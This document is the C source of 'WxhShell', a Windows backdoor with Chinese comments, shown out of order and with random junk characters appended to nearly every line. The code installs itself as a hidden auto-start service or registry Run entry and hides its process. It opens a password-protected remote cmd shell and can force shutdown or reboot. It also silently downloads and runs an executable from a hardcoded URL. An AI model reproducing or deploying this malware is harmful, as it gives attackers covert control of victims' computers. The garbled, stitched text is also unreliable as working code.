  case 'd': { SE{$a3`UzP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C^RO@kM  
    if(Boot(SHUTDOWN)) c]O3pcU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EKf"e*|(L  
    else { *""'v   
    closesocket(wsh); CDei+ q  
    ExitThread(0); |{]\n/M  
    } (`gqLPx[  
    break; 2#5SI  
    } ;7&RmIXKh'  
  // 获取shell he&*N*of:  
  case 's': {  Mi.xay%  
    CmdShell(wsh); YS k,kU  
    closesocket(wsh); "y/GK1C  
    ExitThread(0); oUR'gc :  
    break; G_=`&i"4  
  }  Aki8#  
  // 退出 I(ds]E ;_E  
  case 'x': { h9LA&!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WcAX/<Y>  
    CloseIt(wsh); (4n8[  
    break; #Zk6   
    } Lllyx20U  
  // 离开 jR\&2;T  
  case 'q': { 95>(NwST4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8$-(%  
    closesocket(wsh); He. gl  
    WSACleanup(); 6~V$0Y>]  
    exit(1); uG&xtN8  
    break; z#GZvB/z)  
        } [Hy0j*  
  } y^=\w?d  
  } " GkBX  
zn&NLsA  
  // 提示信息 jTaEaX8+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K+TRt"W8&s  
} >%x7-->IB  
  } f {AbCi  
xR q|W4ay  
  return; 3|-)]^1O  
} 5Q,#Co  
?@6N EfQf  
// shell模块句柄 SaMg)s~B  
int CmdShell(SOCKET sock) XLz>h(w=  
{ ihBlP\C  
STARTUPINFO si; u)y6$  
ZeroMemory(&si,sizeof(si)); W'eF | hu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rePJ4i [y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {<o_6 z`$  
PROCESS_INFORMATION ProcessInfo; rR&;2  
char cmdline[]="cmd"; 03L+[F&"?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Ebg>j:\  
  return 0; AK%`EsI^  
} l_5]~N  
CEq0ZL-W  
// 自身启动模式 CWdA8)n.  
int StartFromService(void) %WiDz0o  
{ 5Jh=${  
typedef struct ='a[(C&Y  
{ e<6fe-g9;  
  DWORD ExitStatus; lt`(R*B%  
  DWORD PebBaseAddress; a` A V  
  DWORD AffinityMask; W~2`o*\l  
  DWORD BasePriority; Vb az#I  
  ULONG UniqueProcessId; 1[OCojo<  
  ULONG InheritedFromUniqueProcessId; v8W.84e-  
}   PROCESS_BASIC_INFORMATION; @ U xO!  
[KMW *pA7  
PROCNTQSIP NtQueryInformationProcess; *,q ?mO  
C;];4[XR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d5T M_ C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b1JXC=*@  
p;zV4uSv  
  HANDLE             hProcess; !f[LFQD  
  PROCESS_BASIC_INFORMATION pbi; FJomUVR.  
rg64f'+Eug  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X*hY?'Rp  
  if(NULL == hInst ) return 0; YAQ]2<H  
 yaza  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c1B <9_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E58fY|9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dc.9:u*w  
C?m2R(RF  
  if (!NtQueryInformationProcess) return 0; w$8Su:g=  
m1H_kJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jcD_<WSe  
  if(!hProcess) return 0; ~x^E kE  
2kb<;Eh`G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E j`  
o|O730"2F  
  CloseHandle(hProcess); z)p( l!  
ui%B|b&&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q{~59{Fha  
if(hProcess==NULL) return 0; kKL'rT6z  
yIy'"BCxM  
HMODULE hMod; Lgp{  hK  
char procName[255]; OV/H&fe  
unsigned long cbNeeded; x`~YTOfYk  
mrWPTCD{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5IE3[a%X  
{2l35K=  
  CloseHandle(hProcess); 9oBK(Sf@^  
1c8Nr&Jl  
if(strstr(procName,"services")) return 1; // 以服务启动 E#}OIZ\S  
#0>??]&r  
  return 0; // 注册表启动 g<U\7Vp\1  
} NU[{ANbl  
._'AJhU$0  
// 主模块 z,dh?%H>X  
int StartWxhshell(LPSTR lpCmdLine) hS&3D6G t  
{ @ =g Px  
  SOCKET wsl; U[7 &   
BOOL val=TRUE; S v3O${B|  
  int port=0; w3l2u1u  
  struct sockaddr_in door; m#6RJbEz  
<8;SSdoKi  
  if(wscfg.ws_autoins) Install(); hK^(Y  
-wn ,7;  
port=atoi(lpCmdLine); BwOIdz%]OY  
q[?xf3  
if(port<=0) port=wscfg.ws_port; @cYb37)q=  
'kBg3E$y  
  WSADATA data; H.ha}0 J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]M3V]m  
y buKwZFC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EZs"?A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PgOOFRwP  
  door.sin_family = AF_INET; FK;3atrz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (|O9L s7N  
  door.sin_port = htons(port); ;::]R'F[  
X5U#^^O$E%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4# +i\H`  
closesocket(wsl); Yzr)UJl*I  
return 1; 9-:\ NH^;  
} [vv $"$z  
,X`w/ 2O  
  if(listen(wsl,2) == INVALID_SOCKET) { ya3k;j2C  
closesocket(wsl); YMSZcI  
return 1; 'Fq +\J#%  
} W*2d!/;7>  
  Wxhshell(wsl); #hMS?F|  
  WSACleanup(); 6LRvl6ik  
SG$V%z"e  
return 0; m3T=x =  
_c!$K#Yl{  
} xP{)+$n  
t;HM  
// 以NT服务方式启动 LNNwy:_ !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XXD LbT'J  
{ XrUc`  
DWORD   status = 0; [L m  
  DWORD   specificError = 0xfffffff; r>ziQq8C&  
Rf4}((y7Y\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XoNBq9Iu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IL>VH`D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B,S~Idr}  
  serviceStatus.dwWin32ExitCode     = 0; X'uQr+p^  
  serviceStatus.dwServiceSpecificExitCode = 0; <aQ<Wy=\  
  serviceStatus.dwCheckPoint       = 0; B\54eTn  
  serviceStatus.dwWaitHint       = 0; ,,G[360  
0u) m9eg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h0.2^vM)R  
  if (hServiceStatusHandle==0) return; n }kn|To~  
/\. [@]  
status = GetLastError(); &J?:wC=E  
  if (status!=NO_ERROR) /hN;\Z[@  
{ P,J+'.@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `92P~Y~`W  
    serviceStatus.dwCheckPoint       = 0; {8* d{0l  
    serviceStatus.dwWaitHint       = 0; +'|nsIx,  
    serviceStatus.dwWin32ExitCode     = status; b#nI#!p'  
    serviceStatus.dwServiceSpecificExitCode = specificError; lrjVD(R=g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :%-w/QwTR  
    return; ~pT1,1  
  } }el7@Gv  
Xj9\:M-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a[_IG-l|i4  
  serviceStatus.dwCheckPoint       = 0; ${)oi:K@:  
  serviceStatus.dwWaitHint       = 0; 5pT8 }?7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ({3Ap{Q}  
} 1/f{1k  
lqTc6@:D  
// 处理NT服务事件,比如:启动、停止 r2*8.j51  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \,xa_zeO  
{ H+{@V B  
switch(fdwControl) hd*GDjmRQ/  
{ Z EK,Z['  
case SERVICE_CONTROL_STOP: OO2uE ;( 3  
  serviceStatus.dwWin32ExitCode = 0; S]&:R)#@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c)3.AgT  
  serviceStatus.dwCheckPoint   = 0; {'p < o$(S  
  serviceStatus.dwWaitHint     = 0; n:[@#xs-  
  { @>,GCuPrm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _\8jnpT:  
  } >4#: qIU  
  return; 8y']kVg  
case SERVICE_CONTROL_PAUSE: ",xTgB3?V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XV}}A ^  
  break; [D+,I1u2h  
case SERVICE_CONTROL_CONTINUE: YkFAu8b>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I7wR[&L885  
  break; jlA6~n  
case SERVICE_CONTROL_INTERROGATE: [Tl66Eyl  
  break; fK6[ p&  
}; "}"/d(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qSGM6kb  
} !1Hs;K  
?fN6_x2e3  
// 标准应用程序主函数 's.e"F#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NB4 Q,iq$  
{ UZdGV?o ?  
K {kd:pr  
// 获取操作系统版本 $q*a}d[Q  
OsIsNt=GetOsVer(); 80=LT-%#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t`="2$NO  
"IB36/9  
  // 从命令行安装 LZb<-vK"y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z($i+L%.  
nE +H)%p  
  // 下载执行文件 X}xf_3N "  
if(wscfg.ws_downexe) { wH$qj'G4CN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wz)s  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Vl~'+e  
} :%z#s  
zYP6m3 n  
if(!OsIsNt) { DS;\24>H  
// 如果时win9x,隐藏进程并且设置为注册表启动 et/:vLl13  
HideProc(); <(@Z#%O9)  
StartWxhshell(lpCmdLine); i\_LLXc  
} D w/vXyZ  
else Ims?  
  if(StartFromService()) +HPcv u?1  
  // 以服务方式启动 R`Fgne$4  
  StartServiceCtrlDispatcher(DispatchTable); Ph%{h"  
else SXP(C^?C  
  // 普通方式启动 'pT13RFD  
  StartWxhshell(lpCmdLine); ? )h8uf4  
Yn[>Y)  
return 0; c9G%;U)  
} (5@H<c^6  
X 0iy  
!uoT8BBAk  
oN[}i6^,e  
=========================================== O\ _ro.  
>|c?ZqW  
Ge/K.]>i  
eAo+w*D(  
UOFb.FRP>  
ht*(@MCr<  
" \i/HHP[%  
~&<t++ g  
#include <stdio.h> =.7tS'  
#include <string.h> EcL6lNTR+  
#include <windows.h> .8Bu%Sf  
#include <winsock2.h> 9tU"+  
#include <winsvc.h> O Bcz'f~  
#include <urlmon.h> NTD1QJ  
zBl L98  
#pragma comment (lib, "Ws2_32.lib") q01 L{~>bz  
#pragma comment (lib, "urlmon.lib") ;py9,Wno  
@!=Ds'MJC  
#define MAX_USER   100 // 最大客户端连接数 &ocuZ -5`  
#define BUF_SOCK   200 // sock buffer JRi:MWR<r  
#define KEY_BUFF   255 // 输入 buffer Pc*lHoVL  
D{s87h  
#define REBOOT     0   // 重启 "5L?RkFi\  
#define SHUTDOWN   1   // 关机 ;&n iZKoe  
v@|<.  
#define DEF_PORT   5000 // 监听端口 hcj]T?  
NuPlrCy;  
#define REG_LEN     16   // 注册表键长度 EYn?YiVFU  
#define SVC_LEN     80   // NT服务名长度 W03mdRW  
5\# F5s}  
// 从dll定义API ^7wqb'xg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _\KFMe= PV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); COsmVQ.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {h|<qfH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pDZewb&cA  
cN0 *<  
// wxhshell配置信息 ':fp|m)M  
struct WSCFG { % Y%r2  
  int ws_port;         // 监听端口 {iX#  
  char ws_passstr[REG_LEN]; // 口令 m{Vd3{H40  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~w3u(X$m"  
  char ws_regname[REG_LEN]; // 注册表键名 \KnRQtlI  
  char ws_svcname[REG_LEN]; // 服务名 o3dqsQE%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Gh0f"?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5aizWz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T8a' 6otc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y<kUGsD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  >9!J?HA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,_u7@Ix  
,)Q-o2(C  
}; EW*sTI3  
0TmEa59P  
// default Wxhshell configuration 86OrJdD8  
struct WSCFG wscfg={DEF_PORT, H[u9C:}9b  
    "xuhuanlingzhe", gSwV:hm  
    1, 4HGT gS  
    "Wxhshell", FL' }~il  
    "Wxhshell", dhtH&:J< ;  
            "WxhShell Service", &N^~=y^`C'  
    "Wrsky Windows CmdShell Service", -`I|=lBz{H  
    "Please Input Your Password: ", rS_G;}Zr  
  1, %PYO9:n  
  "http://www.wrsky.com/wxhshell.exe", OF7hp5  
  "Wxhshell.exe" qR'FbI  
    }; Uw("+[5O0  
Ncz4LKzt  
// 消息定义模块 T&_&l;syA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ab ,^y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h.X4x2(.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @e)}#kN.  
char *msg_ws_ext="\n\rExit."; N1ipK9a  
char *msg_ws_end="\n\rQuit."; #SHeK 4  
char *msg_ws_boot="\n\rReboot..."; ?gMx  
char *msg_ws_poff="\n\rShutdown..."; Vx$;wU Y  
char *msg_ws_down="\n\rSave to "; "tCTkog3]  
mLuNl^)3  
char *msg_ws_err="\n\rErr!"; i\6CE|  
char *msg_ws_ok="\n\rOK!"; '(5GR I<  
S[F06.(1  
char ExeFile[MAX_PATH]; _iJ~O1qx,w  
int nUser = 0; )$n%4 :  
HANDLE handles[MAX_USER]; '0D$C},^|8  
int OsIsNt; Bz ;r<Kn  
bgor W"'  
SERVICE_STATUS       serviceStatus; g,+ e3f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XZIapT  
`NW/Z/_  
// 函数声明 uxf,95<g)  
int Install(void); >s^$ -  
int Uninstall(void); \1<'XVS  
int DownloadFile(char *sURL, SOCKET wsh); OBAO(Ke  
int Boot(int flag);  aO&U=!  
void HideProc(void); <T_3s\  
int GetOsVer(void); ;MS.ag#  
int Wxhshell(SOCKET wsl); ^ #:;6^Su  
void TalkWithClient(void *cs); OMLU ;,4  
int CmdShell(SOCKET sock); LL(xi )  
int StartFromService(void); Nj>6TD81u  
int StartWxhshell(LPSTR lpCmdLine); <VxA&bb7c  
aRMlE*yW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^+m`mcsE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q| D5 A|)  
DU!T#H7  
// 数据结构和表定义  _<S!tW  
SERVICE_TABLE_ENTRY DispatchTable[] = = 7y-o  
{ P=n_wE  
{wscfg.ws_svcname, NTServiceMain}, _N`.1Dl%Q  
{NULL, NULL} ?Y~t{5NJR  
}; DhM=q  
Z 8rD9 k$6  
// 自我安装 *I]]Ogpq=  
int Install(void) G)7U &B  
{ 60+zoL'  
  char svExeFile[MAX_PATH]; 6^b)Q(Edut  
  HKEY key; 64/ZfXD  
  strcpy(svExeFile,ExeFile); *O_fw 0jV  
*$eH3nn6g  
// 如果是win9x系统,修改注册表设为自启动 O)dnr8*  
if(!OsIsNt) { uuY^Q;^I*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =<n ]T;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V+`kB3GV  
  RegCloseKey(key); gRY#pRT6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { << 6 GE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s>>&3jfM  
  RegCloseKey(key); Ypyi(_G(?>  
  return 0; , /.@([C  
    } W>pe-  
  } l?m"o-Gp3  
} O\=Z;}<N  
else { =z# trQ{  
Orq/38:4G  
// 如果是NT以上系统,安装为系统服务 u n v:sV#b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JG!B3^qB  
if (schSCManager!=0) >+%#m'Y&&  
{ ~wa4kS<>  
  SC_HANDLE schService = CreateService 5eTA]  
  ( %L.S~dN6  
  schSCManager, Ux_tzd0!  
  wscfg.ws_svcname, |Rf j 0+  
  wscfg.ws_svcdisp, G+c&e:ip<  
  SERVICE_ALL_ACCESS, tYD8Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^OV; P[  
  SERVICE_AUTO_START, P'<i3#;7X  
  SERVICE_ERROR_NORMAL, ` i[26Qb  
  svExeFile, | xB`cSu(  
  NULL, S F)$b  
  NULL, u2#q7}  
  NULL, ud/!@WG  
  NULL, iV{_?f1jo  
  NULL (@^9oN~}  
  ); 45JL{YRN  
  if (schService!=0) *Dg@fxCQ  
  { Wg}KQ6 6  
  CloseServiceHandle(schService); >|SIqB<%:  
  CloseServiceHandle(schSCManager); -m`|Sq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Km5_P##  
  strcat(svExeFile,wscfg.ws_svcname); Gld~GyB\k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @)b'3~ D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ko}& X=  
  RegCloseKey(key); ; <FAc R  
  return 0; )la3GT*1mS  
    } RE t&QP  
  } x]7:MG$  
  CloseServiceHandle(schSCManager); Vl^x_gs#_]  
} &;$uU  
} 2U./ Yfk\  
=zn'0g, J4  
return 1; dy6zrgxygP  
} 2? E;(]dQ  
1| sem(t  
// 自我卸载 n{QyqI  
int Uninstall(void) 08ZvRy(Je<  
{ V[.{cY ?6  
  HKEY key; SWdmej[  
8#QT[H 4F  
if(!OsIsNt) { sV"tN2W@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %wbdg&^  
  RegDeleteValue(key,wscfg.ws_regname); u(Mbp$R' ?  
  RegCloseKey(key); E3wpC#[Q1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I{$suPk  
  RegDeleteValue(key,wscfg.ws_regname); 5RLO}Vn]  
  RegCloseKey(key); Szz j9K  
  return 0; [4yHXZxza  
  } Be{@ L  
} Pim  
} j([b)k=  
else { 5]i#l3")  
!>Nlp,r&~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z.${WZW  
if (schSCManager!=0) D*.3]3-I  
{ _h1bVd-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Ug &  
  if (schService!=0) x;[)#>.'  
  { !8p>4|VM  
  if(DeleteService(schService)!=0) { >9w^C1"  
  CloseServiceHandle(schService); s $(%]~P  
  CloseServiceHandle(schSCManager); nDn+lWA=g  
  return 0; O+-+=W  
  } <);j5)/  
  CloseServiceHandle(schService); Uv59 XF$  
  } N~|f^#L  
  CloseServiceHandle(schSCManager); 7}xQ4M\u$  
} Y's=31G@  
} C 9%bD  
TD\TVK3P  
return 1; p7+{xXf  
} (lwV(M  
.yF-<Y  
// 从指定url下载文件 6ud?US(  
int DownloadFile(char *sURL, SOCKET wsh) b$2=w^*  
{ 3~`\FuHHe  
  HRESULT hr; 3+>R%TX6i<  
char seps[]= "/"; dtuCA"D  
char *token; A]"6/Lr9P  
char *file; *effDNE!  
char myURL[MAX_PATH]; yMW3mx301j  
char myFILE[MAX_PATH]; )-+tN>Bb  
7'+`vt#E  
strcpy(myURL,sURL); kYS#P(1  
  token=strtok(myURL,seps); /;_$:`|/  
  while(token!=NULL) gB#!g@  
  { ${Lrj}93  
    file=token; ~/4j&IG  
  token=strtok(NULL,seps); ~JZLWTEe  
  } eZ) |m  
CMC p7- v  
GetCurrentDirectory(MAX_PATH,myFILE); GGHMpQ   
strcat(myFILE, "\\"); |%4nU#GoB  
strcat(myFILE, file); h(2{+Y+  
  send(wsh,myFILE,strlen(myFILE),0); '5$: #|-  
send(wsh,"...",3,0); 1mgw0QO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wr Wz+5M8  
  if(hr==S_OK) R]od/u/$  
return 0; v2|zIZ  
else }!g$k $y  
return 1; 4-O.i\1q  
hpOY&7QUTD  
} G} [$M"}  
G]l/L\{  
// 系统电源模块 |x.[*'X@  
int Boot(int flag) J{Ij  
{ mC ]Krnx  
  HANDLE hToken; tklS=R^Vn  
  TOKEN_PRIVILEGES tkp; k5&}bj-  
#5;4O{  
  if(OsIsNt) { gd3MP^O1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / pe.?Zd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MXVCu"g%  
    tkp.PrivilegeCount = 1; %_]O|(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7OZ0;fK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '( ETXQ@  
if(flag==REBOOT) { @bkSA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k;umLyz  
  return 0; g3n>}\xG>  
} E#w2'(t  
else { 6#d+BBKIc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g7%vI8Y)@  
  return 0; 9Lt3^MKa"  
} ;).QhHeg>  
  } 1%.CtTi  
  else { Xa8_kv_  
if(flag==REBOOT) { @)ozgs@e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wbmqf s  
  return 0; PClwGO8'&  
} f$nZogaQ  
else { ku v<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +DT tKj  
  return 0; AxJf\B8  
} 0} \;R5a<  
} 1 xrmmK  
G* mLb1  
return 1; o,1Fzdh6(  
} K<ldl.  
az:lG(ZGw  
// win9x进程隐藏模块 [:Odb?+`F  
void HideProc(void) wu0J XB%&^  
{ M>Ws}Y  
xs  >Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h" YA>_1  
  if ( hKernel != NULL ) b#e|#!Je  
  { @(st![i+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q!Dr3x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Izfj 9h ?  
    FreeLibrary(hKernel); 53 ^1;  
  } AQBr{^inH|  
/i~n**HeF?  
return; +fF4]WF P  
} h8SK8sK<  
l&Fx< W  
// 获取操作系统版本 ~i@Z4t j7  
int GetOsVer(void) (P:.@P~  
{ Jxb+NPUB  
  OSVERSIONINFO winfo; ~f2-%~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YsjTC$Tx,  
  GetVersionEx(&winfo); !P:~oo =  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YKj P E  
  return 1; A^7Y%  
  else &_6B{Q  
  return 0; z2V_nkI  
} hzk]kM/OC  
iGeuO[ ^  
// 客户端句柄模块 F[|aDj@q e  
int Wxhshell(SOCKET wsl) |w^nCsv  
{ 0w l31k{  
  SOCKET wsh; v/Ei0}e6~  
  struct sockaddr_in client; !U+XIr  
  DWORD myID; {,m W7  
l3/?,xn  
  while(nUser<MAX_USER) 9s6d+HhM  
{ c/}bx52>u  
  int nSize=sizeof(client); *}i.,4+y   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  F_%&,"$  
  if(wsh==INVALID_SOCKET) return 1; XAr YmO  
r`'n3#O*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2:S 4M.j  
if(handles[nUser]==0) B8G1 #V_jK  
  closesocket(wsh); mm<rdo(`  
else ?To r)>A'  
  nUser++; ~4tu*\P  
  } j.rJfbE|X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #$>m`r  
F0FF:><  
  return 0; Hq$?-%4  
} Co>=<\yi  
ZgI1Byf  
// 关闭 socket j1,ir  
void CloseIt(SOCKET wsh) l<nL8/5{<  
{ Vz&!N/0i  
closesocket(wsh); ygp NMq#?X  
nUser--; NvfQa6?;  
ExitThread(0); 0l ]K%5#  
} Y;XEC;PXD  
S(*SUH  
// 客户端请求句柄 )b AcU  
void TalkWithClient(void *cs) Hlq#X:DCn  
{ &P{[22dQ  
5Y97?n+6  
  SOCKET wsh=(SOCKET)cs; jz;"]k  
  char pwd[SVC_LEN]; Dos`lh  
  char cmd[KEY_BUFF]; F\;G'dm  
char chr[1]; h{cJ S9e}  
int i,j; ON=6w_  
J;g+  
  while (nUser < MAX_USER) { tcf>9YsOr  
t|aBe7t7  
if(wscfg.ws_passstr) { #4*~ 4/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vN%SN>=L<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (-(sBQa+  
  //ZeroMemory(pwd,KEY_BUFF); #Hr>KQ5mJQ  
      i=0; ZK@ENfG  
  while(i<SVC_LEN) { H?>R#Ds-  
!7-dqw%l  
  // 设置超时 w+~s}ta2^  
  fd_set FdRead; %A dE5HI-  
  struct timeval TimeOut; R"=pAO.4l  
  FD_ZERO(&FdRead); xeX Pc7JG  
  FD_SET(wsh,&FdRead); bEE'50 D  
  TimeOut.tv_sec=8; i7w>Nvj]  
  TimeOut.tv_usec=0; sc^TElic  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7x^P74  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 58Fan*fO  
&pD6Qq{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $;dSM<r  
  pwd=chr[0]; ]I#yS=;  
  if(chr[0]==0xd || chr[0]==0xa) { Tn qspS2;R  
  pwd=0; Hinz6k6!  
  break; viT/$7`AI  
  } >I3#ALF  
  i++; {? jr  
    } O&?i8XsB  
Q!:J.J  
  // 如果是非法用户,关闭 socket iC`K$LY4W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !e >EDYbY  
} N(W ;(7  
[s4lSGh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w"O^CR)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V\"x#uB  
m]$!wp  
while(1) {  T^ ^o  
~g+?]Lk}  
  ZeroMemory(cmd,KEY_BUFF); wYJ.F  
dhW)<  
      // 自动支持客户端 telnet标准   h`OX()N  
  j=0; dw8Ce8W  
  while(j<KEY_BUFF) { uFIr.U$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^E8XPK]-~  
  cmd[j]=chr[0]; @O/-~, E68  
  if(chr[0]==0xa || chr[0]==0xd) { %W=S*"e-  
  cmd[j]=0; u+GtH;<;  
  break; gh3XC.&  
  } Ms.1RCup  
  j++; Lc!% 3,#.  
    } SXn1v.6  
vcnUb$%  
  // 下载文件 %SL'X`j  
  if(strstr(cmd,"http://")) { N246RV1W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t8,s]I&  
  if(DownloadFile(cmd,wsh)) v_PhJKE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:2<'s2Si  
  else F7wpGtt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NWuS/Ur`9  
  } pt&(c[  
  else { +(*S@V$c  
